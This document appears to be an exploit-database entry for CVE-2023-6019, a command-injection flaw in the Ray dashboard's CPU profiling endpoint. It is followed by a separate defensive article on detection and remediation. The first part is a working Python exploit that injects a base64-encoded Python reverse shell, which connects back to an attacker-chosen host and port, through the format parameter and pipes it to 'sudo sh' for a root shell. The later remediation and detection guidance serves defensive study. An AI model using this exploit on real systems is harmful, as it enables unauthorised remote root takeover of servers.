Ray OS v2.6.3 - Command Injection RCE(Unauthorized)
# Exploit Title: Ray OS v2.6.3 - Command Injection RCE(Unauthorized)
# Description:
# The Ray Project dashboard contains a CPU profiling page, and the format parameter is
# not validated before being inserted into a system command executed in a shell, allowing
# for arbitrary command execution. If the system is configured to allow passwordless sudo
# (a setup some Ray configurations require) this will result in a root shell being returned
# to the user. If not configured, a user level shell will be returned
# Version: <= 2.6.3
# Date: 2024-4-10
# Exploit Author: Fire_Wolf
# Tested on: Ubuntu 20.04.6 LTS
# Vendor Homepage: https://www.ray.io/
# Software Link: https://github.com/ray-project/ray
# CVE: CVE-2023-6019
# Refer: https://huntr.com/bounties/d0290f3c-b302-4161-89f2-c13bb28b4cfe
# ==========================================================================================
# !usr/bin/python3
# coding=utf-8
import base64
import argparse
import requests
import urllib3
proxies = {"http": "127.0.0.1:8080"}
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0"
}
def check_url(target, port):
target_url = target + ":" + port
https = 0
if 'http' not in target:
try:
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
test_url = 'http://' + target_url
response = requests.get(url=test_url, headers=headers, verify=False, timeout=3)
if response.status_code != 200:
is_https = 0
return is_https
except Exception as e:
print("ERROR! The Exception is:" + format(e))
if https == 1:
return "https://" + target_url
else:
return "http://" + target_url
def exp(target,ip,lhost, lport):
payload = 'python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("' + lhost + '",' + lport + '));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")\''
print("[*]Payload is: " + payload)
b64_payload = base64.b64encode(payload.encode())
print("[*]Base64 encoding payload is: " + b64_payload.decode())
exp_url = target + '/worker/cpu_profile?pid=3354&ip=' + str(ip) + '&duration=5&native=0&format=`echo ' + b64_payload.decode() + ' |base64$IFS-d|sudo%20sh`'
# response = requests.get(url=exp_url, headers=headers, verify=False, timeout=3, prxoy=proxiess)
print(exp_url)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
response = requests.get(url=exp_url, headers=headers, verify=False)
if response.status_code == 200:
print("[-]ERROR: Exploit Failed,please check the payload.")
else:
print("[+]Exploit is finished,please check your machine!")
if __name__ == '__main__':
parser = argparse.ArgumentParser(
description='''
⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⡠⠄⡄⡄⡠⡀⣀⡀⢒⠄⡔⡄⢒⠄⢒⠄⣀⡀⣖⡂⡔⡄⢴⠄⣖⡆⠄⠄⡤⡀⡄⡄
⠑⠂⠘⠄⠙⠂⠄⠄⠓⠂⠑⠁⠓⠂⠒⠁⠄⠄⠓⠃⠑⠁⠚⠂⠒⠃⠐⠄⠗⠁⠬⠃
⢰⣱⢠⢠⠠⡦⢸⢄⢀⢄⢠⡠⠄⠄⢸⠍⠠⡅⢠⡠⢀⢄⠄⠄⢸⣸⢀⢄⠈⡇⠠⡯⠄
⠘⠘⠈⠚⠄⠓⠘⠘⠈⠊⠘⠄⠄⠁⠘⠄⠐⠓⠘⠄⠈⠓⠠⠤⠘⠙⠈⠊⠐⠓⠄⠃⠄
⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
''',
formatter_class=argparse.RawDescriptionHelpFormatter,
)
parser.add_argument('-t', '--target', type=str, required=True, help='tart ip')
parser.add_argument('-p', '--port', type=str, default=80, required=False, help='tart host port')
parser.add_argument('-L', '--lhost', type=str, required=True, help='listening host ip')
parser.add_argument('-P', '--lport', type=str, default=80, required=False, help='listening port')
args = parser.parse_args()
# target = args.target
ip = args.target
# port = args.port
# lhost = args.lhost
# lport = args.lport
targeturl = check_url(args.target, args.port)
print(targeturl)
print("[*] Checking in url: " + targeturl)
exp(targeturl, ip, args.lhost, args.lport) Ray OS v2.6.3 — Command Injection RCE (CVE-2023-6019): Analysis, Detection, and Remediation
This article explains the command injection vulnerability disclosed as CVE-2023-6019 affecting Ray dashboards that expose a CPU profiling endpoint. It covers the root cause, impact, detection strategies, and safe remediation steps for developers and operators. Explanations are intentionally non-actionable where they would enable exploitation; instead the emphasis is on safe fixes, detection patterns, and hardening guidance.
Summary
- Issue: Unsanitized user-controlled parameter used directly in a shell command executed by the server, resulting in arbitrary command execution.
- Affected: Ray releases at or before 2.6.3 (per public advisories).
- Impact: Remote command execution as the running service user; combined with passwordless sudo, this can lead to full root compromise.
- CVE: CVE-2023-6019
Root cause (technical)
At a high level, the CPU profiling endpoint accepts a format (or similar) parameter and constructs a shell command that includes that parameter without proper validation or safe invocation. This enables an attacker to inject shell metacharacters or command constructs which the shell will interpret, producing arbitrary command execution.
Common root causes in such cases:
- Concatenating user input into a command string and executing it with the shell (e.g., shell=True or system/exec equivalents).
- Relying on passwordless sudo for server-side tasks, which expands the privilege impact of any code execution bug.
- Lack of input validation or the absence of an allowlist for expected values.
High-level exploitation model (non-actionable)
An attacker who can reach the profiling endpoint and provide a crafted parameter can cause the application to execute additional commands. The exploit is possible because the server expands the malicious input in a shell context. The ultimate impact depends on the service user and the system sudo configuration.
Impact and risk
- Remote code execution as the application user (high severity).
- Possible privilege escalation to root if the service or profiling operation invokes commands via passwordless sudo (critical severity in that configuration).
- Data exfiltration, lateral movement, and persistence depending on environment and privileges.
Affected versions and remediation status
| Component | Versions | Remediation |
|---|---|---|
| Ray dashboard CPU profiling | <= 2.6.3 | Upgrade to the vendor patched release or apply vendor-provided patches; remove passwordless sudo and apply input validation patches. |
Detection and indicators
Establish monitoring and alerting for possible exploitation attempts. Typical indicators include:
- HTTP requests to profiling endpoints including unexpected characters (backticks, $(), semicolons, pipes, or base64-like payloads). Look for request URIs or query parameters containing shell metacharacters.
- Server-side process launches where a shell is invoked unexpectedly (e.g., /bin/sh -c). Correlate web requests with process creation events.
- Unusual sudo usage in logs, especially where the web service account uses sudo without a password.
- Outbound network connections from the service to suspicious IPs/ports (indicating reverse shells or exfiltration).
Example detection approaches (non-executable guidance):
- Log inspection: search web server/access logs for requests to the profiling endpoint with suspicious characters in query parameters.
- Process monitoring: alert on invocations of shell interpreters from the Ray process context.
- Network monitoring: look for unexpected connections created by the Ray host.
Safe remediation (developer guidance)
The secure fixes fall into three categories: input allowlisting, eliminating shell invocation, and reducing privilege surface.
- Allowlist inputs: Treat the format parameter as a closed set (e.g., svg, txt, raw) and reject everything else.
- Avoid invoking a shell: Use language-native process APIs with argument lists (no shell expansion) so user input is not interpreted by a shell.
- Privilege-harden: Remove any NOPASSWD sudo entries for the service user. Run services with the minimum privileges and use sandboxing (AppArmor/SELinux containers).
Example: safe input validation (Python)
ALLOWED_FORMATS = {"svg", "flamegraph", "raw", "txt"}
def validate_format(value: str) -> str:
# Normalize and perform a strict allowlist check.
normalized = (value or "").strip().lower()
if normalized not in ALLOWED_FORMATS:
raise ValueError("unsupported format")
return normalizedExplanation: This function enforces a strict allowlist. Any incoming format value must exactly match one of the permitted tokens. Rejecting unexpected values eliminates the primary vector used in command injection attempts.
Example: invoking external tool safely (Python)
import subprocess
def run_profiler(output_format: str, pid: int, duration: int):
# output_format must be validated via validate_format() first.
cmd = [
"/usr/bin/timeout", # if timeout is needed
"5s",
"/usr/bin/perf", # example profiler binary
"record",
"--pid", str(pid),
"--output-format", output_format
]
# Use subprocess.run with a list to avoid shell interpretation.
result = subprocess.run(cmd, capture_output=True, check=True)
return result.stdoutExplanation: The subprocess.run call uses a list of arguments, which avoids shell parsing/expansion. User-controlled values appear only as list elements (already validated). Avoid shell=True and string concatenation.
Sudo and privilege guidance
- Remove NOPASSWD entries for service accounts from /etc/sudoers or specific sudoers.d files unless absolutely required.
- If a service needs capabilities, consider bounding them with capabilities primitives (Linux capabilities) rather than granting full root via sudo.
- Constrain allowed sudo commands using the sudoers Cmnd_Alias directive and specify full paths.
Mitigations for operations teams
- Patch: upgrade Ray to the vendor-published fixed release (check the official release notes and CVE advisory).
- Network access control: restrict access to the dashboard/profiling endpoints to trusted admin networks and internal tooling only.
- Web Application Firewall (WAF): use rules to block common shell metacharacters or sequences in query parameters for profiling endpoints. Note: WAFs reduce risk but are not a replacement for code fixes.
- Runtime protections: enable AppArmor/SELinux profiles and run the service with the least privileges.
- Audit sudoers: remove or restrict passwordless sudo for the service user.
Detection rule examples (pattern guidance)
When creating IDS/WAF rules, focus on suspicious token patterns (e.g., presence of shell metacharacters or patterns used to deliver encoded payloads). Avoid overly broad blocking that might break legitimate usage; use targeted rules for the profiling endpoint.
- Block requests to CPU profiling endpoints coming from untrusted IPs.
- Alert on query parameter values containing backticks, $(), semicolons, pipes, or suspicious base64 and decoding pipeline markers.
- Correlate HTTP logs with process creation logs — e.g., a request immediately followed by a shell process spawned by the service.
Secure coding checklist
- Always prefer allowlists over deny lists for user-controlled parameters.
- Never pass untrusted input to a shell. When invoking external programs, use safe APIs that accept argument lists.
- Reduce use of passwordless sudo and audit sudo privileges regularly.
- Use logging and monitoring to detect anomalous behavior and potential exploitation attempts.
- Add unit and integration tests that verify parameter validation and that the server does not call the shell with user data.
References and further reading
| Resource | Notes |
|---|---|
| Vendor site / project repository | Check Ray’s official release notes and security advisories for the patch and guidance. |
| Public CVE | Search CVE-2023-6019 for official advisory text and mitigation recommendations. |
| Secure coding guidance | Platform language docs on subprocess/process invocation and input validation best practices. |
Final notes
Command injection vulnerabilities are high-risk and often easy to exploit when a service exposes endpoints that accept string parameters which are later interpreted by a shell. Prioritize patching or applying the vendor fix, remove passwordless sudo where possible, and implement a defense-in-depth strategy: secure code, minimal privileges, network segmentation, and robust detection. If you manage Ray deployments, treat the profiling endpoints as sensitive administrative capabilities and control access tightly.